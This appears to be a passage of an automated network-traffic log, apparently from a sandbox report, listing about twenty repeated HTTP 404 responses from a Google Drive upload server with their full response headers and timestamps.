Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6v5fjTu1Fm3bqm7EiztHK8mbgXjrHlt7-0l5eHqH92J0Q1rxigwSRmH1VJ9C4ybgu-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:18 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-yqGUs3yA4yDcaSZ_lXm_jQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC55jM_8jxpQuQB2YK2Kb4K52g77yJ_qwnQJlHXXM0z6VqQsvz33YD-LOzpckUPUER79Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:19 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4qlEuJQNKDQe09w-n2AXUA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57UWp_ReElsQ9PFyspMvPDJzcbJeTUd2MrFkmS3WZ1DQ0pQoXcjSZPH59PVjDGSAGfHv9OZVgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:19 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-JhwDwZH5Ulx1ksW29DwzIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC60m-tc3nNTkEtUVwh2wp-eMy3n4viR6XDP2ng7p0bfrXQrCF6VGlbmxcwT1wupPfXgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:20 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-4Ym2QjsNHPverVR_LaZxIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4_OkUSAcLO6H1f1c-d3wEV0hwRny47HCsC2L-Flbte829mZpQhhd_s7Zkg3sz_9IVxoeGK-rkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Ddqo1pNQi3Q86hVa3BgLTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7RAGHSRO1bb6t83C9Wc75tIkIpynLTpEPCLOxczm3qIdSJZkzfuTcDcHTHzye9ifjK9-Pf-sIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-mlYpBRBR1TISUPOqf4ukcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6BU-4-TM0PBslSYXarw8DbgQxKa9B0PpzoJ65MwevUK_ywqXu1bzFpOx44DM68ccUhmIv5BX4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:22 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Pp1SgoKqaO9iMAltGOQ3gA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6OO1YjFKw2YORvC5_fHEj2UM4GZ_Z8GV7BXBCr5EyHYmr9OK3jguJ5dIGxHfK-GK8C-CNC-78Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:23 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-uLHrWaldBHMidSxbyGUBxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59qrXdUrue-Y952WTLCpjmxFD5NCpUHkkY93mOv5IEpwTnGYaYNcF5_MXCSVCijiCLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:23 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-hPF6H_g3-HP8LKXA9xrA-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Z6gaClDt_9WOprl6PCmqGH22Du26E66b24cqJpsQ8c9032qKOGE7SmXuevj3ivUyiXjQbPsoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:26 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jvXlkzmeMv2MIP2YcsR7Mg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Lw_z7IivEgB5fgEcBkFYoswKmAc0oOXRH36jH2Y14TwitFGLQwv2BoRUIlGz3uIHDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:26 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-XknZLvuOMjNLJU6S_tVM3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4u0BZO4YAZMrLhmEzza6AH7K0YSQC9TKmTXRPQfWUIa4rzrMPMJVh-ydwYQWSfqyLiIBFgWyAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:27 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-3xQ8bzPtrqEI0Y2kogwQLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC45s-CGtkzR1_YfdnRprTQEXAZk7jEovsQllGhsnIdK9exrBviWc56bm-ODl5bO-jZDmWR1410Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:27 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4ipRdY9c_SP2iPmQxUpizQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ic4l0b9HZct50qMv7wBrF-LJ9U0AbM4cAZCM9O9ybZkOgg5vpV5Mwjx2cjGWkj_D9Ow2pbVoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:29 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-n-mBoVmLugIItSiDxRvRXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC758BiamSwwy1uUdGOXJX5xTVRVfddle125e0OkzwiYldtsVd0U8aki5P9QubQEceLSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:30 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-fJsB66ZvzpRvRaqneXU4qQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5tYAQSxNtIoyLq1kzXUvUcoZiV1HBpzLUMQC1tXM5I7kpmZSoboB3s_rX5fQqbNgRqContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:30 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-JNoY-fQ-RWZO1GKzGcbjlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7LMQglZSriaM_tPzHbPDdtJZ7U2Z8xoYers0sCENOOmRDUwft90iqPE3GglFA3brWRTDCGEIEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:31 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0ZGcdfev5Jca3bD1mRq8nA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6tyQwH4lo3CxYgiwaaEWtFti5kIFG4uW07Y2vFpz1Tzvha5hYWS-7wqgjTeb91fut3ntZOh6oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:31 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-As_lih-DuirlnjdjeNPB8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Gf4o8FxfBiAz_QzU5PFV-jGHh3tPM9w69rhtRqHtm_gKGH9v98fZF9FPV-rUh31LfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:34 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-pLt4aiIs3SvT4mWG5YkmXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6G6OXo_39ey_tpfq-ZtsWKde0k0qKSDOh6h3EllU-VZUniv-Gd_PrntWWAorqvU4gUuVUNRgMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:34 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-C7tkdVh8IuwyNmh5tPB5ww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
